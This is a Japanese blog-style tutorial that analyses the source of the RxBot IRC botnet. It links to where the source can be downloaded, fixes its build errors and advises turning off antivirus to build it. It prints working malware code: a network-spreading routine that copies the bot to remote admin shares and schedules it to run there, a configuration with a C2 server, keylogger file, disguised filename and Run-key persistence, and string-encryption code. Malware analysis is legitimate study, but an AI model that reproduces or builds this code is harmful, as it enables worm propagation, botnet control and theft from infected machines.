14歳から始めるRxBot解析

exbqs - http://twitter.com/exbqs

■ 0x01.) はじめに

ザ・コアという映画をご存知でしょうか。その中に登場するハッカーのラッツはボットプログラムを使って世界中のPCを掌握していました。世界中に存在するPCのあらゆるデータにアクセス可能という、言い換えれば世界中の何千人の男達が集めたエロ画像とか集め放題なわけです。これってなんだかアングラっぽいでしょう

マルウェアの解析というとハッカージャパンなどでリバースエンジニアリングと題した記事が書かれていましたね。最近でもたまに書かれているようですが今回はそのまま公開されているソースコードを解析しようというお話です。バイナリファイルを解析せずにソースファイルを解析したらええやんという、そこで懐かしいRxBot というボットプログラムを対象に、映画に登場したようなボットプログラムが実際にはどのようなコードとして成り立っているかを理解することが目的です

■ 0x02.) 解析環境

筆者の解析した環境は以下になりますが、Visual Studio のバージョンによってビルドするのに若干の修正を加える必要がありそうです。又、ビルドをする際にはセキュリティソフトウェアを無効にしなければなりません。私の利用しているAVGではBackdoor.Generic_r.AKとして検出されました・皆さんはVMWAREやQEMUを使い仮想PC上で動作させることをお勧めします。当たり前ですが閉じたネットワークで起動して思う存分にマルウェア解析を味わってください。それか使わないＰＣで

```
Windows 7 Thinkpad T410i
Visual Studio 2005
```

■ 0x03.) ソースコードの在り処

```
http://www.filecrop.com/rxbot.html
http://www.codeforge.cn/s/0/rxbot
```

■ 0x04.) 手始めにビルドしたいんだけどどうすればいいのか

ビルドする際に、プロジェクトのプロパティからC/C++-警告レベルを非表示にして下さい。実際にビルドすると以下のエラーが表示されたので取り除いてみました

```
1>.\rndnick.cpp(52) : error C2065: 'i' : 定義されていない識別子です。
1>.\netbios.cpp(69) : error C2065: 'i' : 定義されていない識別子です。
```

```
char *rndnickletter(char *strbuf)
{
    srand(GetTickCount());
        int i;
        int randlen = (rand()%3)+maxrand;

        // int i = 0; として宣言されていたのでスコープを抜けたstrbuf[i] = '\0'にエラー発生
        for (i=0; i < randlen; i++)
                strbuf[i] = (rand()%26)+97;
        strbuf[i] = '\0';

        return (strbuf);
}


BOOL NetConnect(char *szUsername, char *szPassword, char *szServer, EXINFO exinfo)
{
        int i;
        NETRESOURCE nr;
        memset(&nr,0,sizeof(NETRESOURCE));
        nr.lpRemoteName=szServer;
        nr.dwType=RESOURCETYPE_DISK;
        nr.lpLocalName=NULL;
        nr.lpProvider=NULL;

        // Call the WNetAddConnection2 function to make the connection,
        //   specifying a persistent connection.
        DWORD dwResult = fWNetAddConnection2(&nr, (LPSTR)szPassword, (LPSTR)szUsername, 0);
        if(dwResult != NO_ERROR) {
                Sleep (10);
                fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE);
                return FALSE;
        }

        WCHAR wszNetbios[200], wszFilename[MAX_PATH];
        char szRemoteFile[MAX_PATH], buffer[IRCLINE];
        char *sharepath[]={"Admin$\\system32","c$\\winnt\\system32","c$\\windows\\system32","c","d"};

        TIME_OF_DAY_INFO *tinfo=NULL;
        DWORD JobID;
        AT_INFO at_time;

        MultiByteToWideChar(CP_ACP,0,szServer,-1,wszNetbios,sizeof(wszNetbios));
        NET_API_STATUS nStatus=fNetRemoteTOD(wszNetbios,(LPBYTE *)&tinfo);
        if (nStatus == NERR_Success) {
                if (tinfo) {
                        //_snprintf(buffer,sizeof(buffer),"[%s]: Connected to IP: %s (%s/%s).", exploit[exinfo.exploit].name,szServer, szUsername, szPassword);
                        //addlog(buffer);

                        int j = 0;;
                        // int i = 0; として宣言されていたのでスコープを抜けたsnprintf(buffer,sizeof(buffer)にエラー発生
                        for (i=0;i<(sizeof(sharepath) / sizeof(LPTSTR));i++) {
                                sprintf(szRemoteFile,"%s\\%s\\%s",szServer,sharepath[i],filename);
                                if ((j=CopyFile(filename,szRemoteFile,FALSE)) != 0)
                                        break;
                                else if (GetLastError() == ERROR_ACCESS_DENIED) {
                                        if (_access(szRemoteFile,00) == 0) {
                                                szRemoteFile[strlen(szRemoteFile)-5] = (char)((rand()%10)+48);
                                                if ((j=CopyFile(filename,szRemoteFile,FALSE)) != 0)
                                                        break;
                                        }
                                }
                        }
                        if (!j) {
                                fNetApiBufferFree(tinfo);
                                fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE);
                                return FALSE;
                        }

                        DWORD jobtime=tinfo->tod_elapsedt / 60;
                        jobtime-=tinfo->tod_timezone;
                        jobtime+=2;
                        jobtime%=(24*60);
                        memset(&at_time,0,sizeof(AT_INFO));
                        at_time.JobTime=jobtime*60000;
                        MultiByteToWideChar(CP_ACP,0,filename,-1,wszFilename,sizeof(wszFilename));
                        at_time.Command=wszFilename;

                        if ((nStatus=fNetScheduleJobAdd(wszNetbios,(BYTE *)&at_time,&JobID)) == NERR_Success) {
                                _snprintf(buffer,sizeof(buffer),"[%s]: Exploiting IP: %s, Share: \\%s, User: (%s/%s)",exploit[exinfo.exploit].name,szServer,sharepath[i],szU
                                if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
                                addlog(buffer);
                                exploit[exinfo.exploit].stats++;
                        }
                }
        }
        fWNetCancelConnection2(szServer,CONNECT_UPDATE_PROFILE,TRUE);

        return TRUE;
}
```

日本のサイトではインストールやビルドを動画で紹介している方は多くいません。しかし、海外では割と見つかることが多いです。VMWAREも検索してみてください

```
http://www.youtube.com/watch?v=vMSBTUvDX0s
http://www.youtube.com/watch?v=dME-dX85Vac
```

■ 0x05.) ソースコードの構成について

ヘッダファイルは61個、ソースファイルは52個あります。アセンブリファイルは1個、バイナリファイルは1個、見ていただくと判るように一つのソースファイルに対してヘッダファイルが一対となります。なのでRxBotを遠隔から操作するためのコマンド分だけ両者があることを推測できます。つまり 主要なコマンドの実装はrBot Command Referenceを見ることで把握できますから何から解析すればよいのか迷わなくて済みます。ある程度の概要も判る訳ですから解析にはもってこいです

```
http://usuarios.multimania.es/colombomariano/HTML/rxbot%20comandos.htm
```

```
advscan.cpp     advscan.h
aliaslog.cpp    aliaslog.h
autostart.cpp   autostart.h
avirus.cpp      avirus.h
capture.cpp     capture.h
cdkeys.cpp      cdkeys.h
```

```
crc32.cpp       crc32.h
crypt.cpp       crypt.h
doc.cpp         doc.h
dcom.cpp        dcom.h
dcom2.cpp       dcom2.h
ddos.spp        ddos.h
download.cpp    download.h
driveinfo.cpp   driveinfo.h
ehandler.cpp    ehandler.h
findfile.cpp    findfile.h
findpass.cpp    findpass.h
fphost.cpp      fphost.h
httpd.cpp       httpd.h
icmpflood.cpp   icmpflood.h
ident.cpp       ident.h
irc_send.cpp    irc_send.h
keylogger.cpp   keylogger.h
loaddlls.cpp    loaddlls.h
lsass.cpp       lsass.h
misc.cpp        misc.h
mysql.cpp       mysql.h
net.cpp         net.h
netbios.cpp     netbios.h
netutils.cpp    netutils.h
peer2peer.cpp   peer2peer.h
psniff.cpp      psniff.h
rBot.cpp        rBot.h
redirect.cpp    redirect.h
remotecmd.cpp   remotecmd.h
reqbuf.bin
rlogind.cpp     rlogind.h
mdnick.cpp      mdnick.h
myshellcode.asm
scan.cpp        scan.h
secure.cpp      secure.h
session.cpp     session.h
shellcode.cpp   shellcode.h
socks4.cpp      socks4.h
synflood.cpp    synflood.h
sysinfo.cpp     sysinfo.h
tcpflood.cpp    tcpflood.h
tcpflood2.cpp   tcpflood2.h
tftpd.cpp       tftpd.h
threads.cpp     threads.h
visit.cpp       visit.h
wildcard.cpp    wildcard.h

defines.h
externs.h
fuctions.h
globals.h
includes.h
tcpip.h
```

■ 0x06.) configs.hの内容について

なにかのソースコードを解析する時に私はまずヘッダファイルから調べています。そのプログラムの概要が判っておりある程度のプログラミング経験があるならば変数名や関数名からどのような処理をしているか察しがつくからです。あいまいな部分はソースファイルを読んで裏づけをとるようにしています。なので、まずは configs.h という最もな名前のヘッダファイルを読んでいきましょう。最初から英語のコメントが書かれていたので日本語の注釈に変え幾つかは付け加えています

```
// bot configuration (不気味なものはLsass)
int port = 6667;                        // サーバポート
int port2 = 6667;                       //              の予備用
int socks4port = 38;                    // Port # sock4デーモンを実行するために  - CHANGE THIS!!!
int tftpport = 69;                      // Port # tftpデーモンを実行するために
int httpport = 81;                      // Port # httpデーモンを実行するために
int rloginport = 37;                    // Port # rloginデーモンを実行するために
BOOL topiccmd = TRUE;                   // /TOPIC コマンドを有効にするにはTRUEに設定する
BOOL rndfilename = TRUE;                // rxBotのファイル名をランダムな[a-z]に設定する
BOOL AutoStart = TRUE;                  // 自動起動のレジストリキーを有効にする
char prefix = '.';                      // rxBotのコマンド接頭辞(最大一文字)
int maxrand = 6;                        // 乱数で決めるニックネームの桁数
int nicktype = CONSTNICK;               // NICKNAMEの種類 (rndnick.hを参照)
BOOL nickprefix = TRUE;                 // NICKNAMEの接頭辞 (起動から経過した日数 & mIRC常駐者検索)

#ifdef DEBUG_LOGGING                    // テスト目的でログファイルにプロトコルをダンプできる
char logfile[]="c:\\debug.txt";
#endif

#ifndef NO_CRYPT                        // 暗号化された文字列のみを使用するかバイナリが保護されないか!!

#else                                   // Crypt()ｾｯﾄｱｯﾌﾟの為これだけの使用を勧める(これは安全じゃない)

char botid[] = "Tr0gBot";                               // ボット名
char version[] = "[RxBot v7.6 modded by Tr0gd0r]";      // ボートバージョン名
char password[] = "";                                   // ボットネットに接続するパスワード
char server[] = ""aenigma.gotd.org"";                   // 接続先のIRCサーバ
char serverpass[] = "";                                 //       パスワードが必要である場合
char channel[] = "#";                                   //       参加するチャンネル
char chanpass[] = "";                                   //              パスワードが必要である場合
char server2[] = "";                                    // 予備用
char channel2[] = "";                                   //
char chanpass2[] = "";                                  //
char filename[] = "winmgr.exe";                         // コピー先のファイル名
char keylogfile[] = "system.txt";                       // キーログ用のフアイル名
char valuename[] = "Microsoft Update Machine";          // スタートアップのエントリ名
char nickconst[] = "n-";                                // ボット群ニックネーム先頭の部分
char szLocalPayloadFile[]="msconfig.dat";               // ペイロードを送出したログ名
char modeonconn[] = "-x+B";                     // /MODE 一つ以上のモードにできて+/-の両方が含まれる
char exploitchan[] = "#n";                      // REDIRECT # EXPLOIT MESSAGE  - CHANNEL
char keylogchan[] =  "#n";                      // REDIRECT # KEYLOG MESSAGE
char psniffchan[] = "#n";                       // REDIRECT # PSNIFF MESSAGE

char *authost[] = {                             // 接続先チャンネルのオペレータ権限を認証(直接指定も出来る)
        "*@*",
};

char *versionlist[] = {                         // 作者でない誰かがバージョンを求めたときに応答
        "mIRC v6.03 Khaled Mardam-Bey",         // mIRC開発者:Khaled Mardam-Beyという名前
        "mIRC v6.10 Khaled Mardam-Bey",
        "mIRC v6.12 Khaled Mardam-Bey",
        "mIRC v6.14 Khaled Mardam-Bey"
};

// レジストリエントリ：スタートアップ二種，セキュリティ二種
char regkey1[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char regkey2[]="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";
char regkey3[]="Software\\Microsoft\\OLE";
char regkey4[]="SYSTEM\\CurrentControlSet\\Control\\Lsa";

#endif

#ifdef PLAIN_CRYPT              // Encrypted Password:暗号化パスワード(kerberos)
char key[16] = "2poiwsfpf3213ew"; // CHANGE THIS!!! hmmm..Do I even need this now?
#endif
```

■ 0x07.) maxrand = 6 ってなんだ

名前から推測できない幾つかの変数はソースファイルを読んで処理を紐解きます。まずこの変数名をダブルクリックにより選択してすべての参照の検索、をかけてみます。すると以下の行がシンボルの検索結果として表示されるのでこの変数がrndnick.cppに使われているあたりIRCのニックネームの処理かと予測がつくのです

```
rndnick.cpp(25): for (int i=0;i < maxrand;i++)
```

検索結果をダブルクリックして参照先に遷移すると以下の関数が定義されています。random_nickname_const() の略語のようですからやはりニックネーム関係です

```
char *rndnickconst(char *strbuf)
{
        srand(GetTickCount());

        _snprintf(strbuf, MAXNICKLEN, "%s", nickconst);
```

```
    for (int i=0;i < maxrand;i++)
                _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);

        return (strbuf);
}
```

正しいコメントを付けるのに処理を紐解く必要があるのは明白なので、別個のプログラムとして作りました。この時に大切にすべきは意図を明らかにする変数以外全て即値にしてしまうことです。例えばMAXNICKLENは28という即値を入れています。こうすることで変数がどのように使われているか見通しがつきやすくなります

```
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

char nickconst[] = "n-";
int maxrand = 6;

char *rndnickconst(char *strbuf)
{
        srand(GetTickCount());

        _snprintf(strbuf, 28, "%s", nickconst);

    for (int i=0;i < maxrand;i++)
        _snprintf(strbuf, 28, "%s%i", strbuf, rand()%10);

        return (strbuf);
}

int main() {
  char buf[32];
  int n;

  for(n=32; n--; ) {
         rndnickconst(buf);
         Sleep(250);
         printf("%s\n", buf);
  }

}
```

以上を実行すると、n-?????? という数列の付加された文字列が表示されていきます。 よってランダムなニックネームを付けており maxrand=6 は付加する数列の文字数を示すことがわかります。IRCに接続した際にそれぞれのボットが名乗るニックネームです。次に、maxrand=6直後int nicktype = CONSTNICK;を見て下さいnicktype = {REALNICK,CONSTNICK,LETTERNICK,COMPNICK,COUNTRYNICK,OSNICK} の何れかでランダムな英字列や感染したPCのロケールに置き換えることができます

■ 0x08.) BOOL nickprefix = TRUE ってなんだ

NICKNAMEに接頭辞として[PCが起動して経過した日数][mIRC常駐者か]という情報を付加できます。100日以降を常駐者として数えて[days][M] になるのでオペレータ権限を持つ者を洗い出すために加えた設定だと考えられる。これを無効にするにはNO_MIRCNICKを宣言する。 すると単純に100日を越える日数だけを表示できるつまり、一度も再起動していないPCはサーバである可能性が考えられるので感染したサーバを洗い出すための設定だろう。ただ、100日を本当に測れるか判らない

1日:24時間:1440分:86400秒:86400000ミリ秒は、GetTickCount()[PCが起動して経過した時間](ミリ秒)から割って日付を算出している。しかし、GetTickCount() での戻り値はDWORDであり32bit:4294967295 即ち、4 294 967 295 / 86 400 000 = 49.7102696 なので49日でリセットされる訳ですから100日を測ることはできません

```
enum {REALNICK, CONSTNICK, LETTERNICK, COMPNICK, COUNTRYNICK, OSNICK};

typedef char * (*rnref)(char *strbuf);

typedef struct RNICK
{
        char name[10];
        int type;
        rnref rnfunc;

} RNICK;

RNICK rnick[]={
        #ifndef NO_REALNICK
        {"real", REALNICK, rndnickreal},
        #endif
        {"const", CONSTNICK, rndnickconst},
        {"letter", LETTERNICK, rndnickletter},
        {"comp", COMPNICK, rndnickcomp},
        {"country", COUNTRYNICK, rndnickcountry},
        {"os", OSNICK, rndnickos}
};

char *prefixnick(char *strbuf)
{
        char tmpbuf[MAXNICKLEN];

        unsigned int days = GetTickCount() / 86400000;
        if (days &gt; 100)
#ifndef NO_MIRCNICK
                _snprintf(tmpbuf, sizeof(tmpbuf),&quot;[%d]%s&quot;, days, ((fFindWindow("mIRC",0))?("[M]"):("")));
        else
                sprintf(tmpbuf, ((fFindWindow("mIRC",0))?("[M]"):("")));
#else
                _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]", days);
                #endif

        if (strlen(tmpbuf) < 2) {
                strncat(tmpbuf, strbuf, sizeof(tmpbuf));
                strncpy(strbuf, tmpbuf, MAXNICKLEN);
        }

        return (strbuf);
};

char *rndnick(char *strbuf, int type, BOOL prefix, char *name)
{
        for (int i=0; i < (sizeof(rnick) / sizeof(RNICK)); i++)
                if ((name)?(strcmp(name,rnick[i].name)==0):(rnick[i].type == type)) {
                        rnick[i].rnfunc(strbuf);
                        break;
                }

        return ((prefix)?(prefixnick(strbuf)):(strbuf));
}
```

■ 0x09.) NO_CRYPTってなんだ

ウイルスを作成する人がいるなら解析をする人もいる訳で、幾つかの対策を施すことは解析するより時間をかけずに済みます。NO_CRYPTが宣言されていない場合にボットが保持する幾つかの情報は暗号化されます。プロジェクトをビルドして実行可能ファイルが生成されたときに内部で保持されているデータセグメント領域はメモリに展開されて実行された段階でメモリ上のその領域は暗号化されます。ファイル自体をダンプされなければ見つかりません(winmgr.exeをダンプする人いる?

```
#ifndef NO_CRYPT
        /* この領域は暗号化される */
#else
        /* この領域は暗号化されず */
#endif
```

Visual Studio 2005ではconfigs.hを見た時、#else ~ #endif が有効になっており(#ifndef NO_CRYPT ~ #elseに定義された変数群は灰色となる)よって、どこかでNO_CRYPT が宣言されたことがわかるのです、しかし、Ctrl+Fを使い検索対象を現在のプロジェクトとして NO_CRYPTを検索しても#define NO_CRYPTは見つからないなにかを解析する時には作者の意図を掴む必要に時々巡り合います。 そこで、プロジェクトのプロパティからC/C++のプリプロセッサを開くと宣言されていました

```
WIN32;NDEBUG;_WINDOWS;NO_AVFW_KILL;NO_SECSYSTEM;NO_REGISTRY;NO_EHANDLER;NO_CRYPT;
```

なぜプロジェクト本体に宣言しているのか、普通に考えればdefins.hで宣言する方が統一性があると思うのですが一先ず暗号化を有効にするにはNO_CRYPTを外して#else ~ #endif の変数群を #ifndef ~ #else に移動させれば良いです。そうすれば crypt.cpp - decryptstrings() によってrBotが起動した時に暗号化されます

```
#ifndef NO_CRYPT
void decryptstrings(int authsize, int versionsize)
{
        int i;

        Crypt(botid,strlen(botid),"",0);
        Crypt(version,strlen(version),"",0);
        Crypt(server,strlen(server),"",0);
        Crypt(serverpass,strlen(serverpass),"",0);
        Crypt(channel,strlen(channel),"",0);
        Crypt(chanpass,strlen(chanpass),"",0);
```

```
        Crypt(server2,strlen(server2),"",0);
        Crypt(channel2,strlen(channel2),"",0);
        Crypt(chanpass2,strlen(chanpass2),"",0);
        Crypt(filename,strlen(filename),"",0);
        Crypt(keylogfile,strlen(keylogfile),"",0);
        Crypt(valuename,strlen(valuename),"",0);
        Crypt(nickconst,strlen(nickconst),"",0);
        Crypt(szLocalPayloadFile,strlen(szLocalPayloadFile),"",0);
        Crypt(modeonconn,strlen(modeonconn),"",0);
        Crypt(exploitchan,strlen(exploitchan),"",0);
        Crypt(keylogchan,strlen(keylogchan),"",0);
        Crypt(psniffchan,strlen(psniffchan),"",0);

        for(i=0;i < authsize;i++)
                Crypt(authost[i],strlen(authost[i]),"",0);

        for(i=0;i < versionsize;i++)
                Crypt(versionlist[i],strlen(versionlist[i]),"",0);

        Crypt(regkey1,strlen(regkey1),"",0); // "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
        Crypt(regkey2,strlen(regkey2),"",0); // "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
        Crypt(regkey3,strlen(regkey3),"",0); // "Software\\Microsoft\\OLE"
        Crypt(regkey4,strlen(regkey4),"",0); // "SYSTEM\\CurrentControlSet\\Contol\\Lsa"

        return;
};
#endif
```

別個のプログラムを作り暗号化されるとはどういう事なのか垣間見るには、PE Explorerを使いファイルのデータセグメントを覗いたりタスクマネージャからプロセスダンプを行ってバイナリエディタで開いて実感してください。少し長くなりましたので残りは次回のレポートに纏めて提出します。 ありがとうございました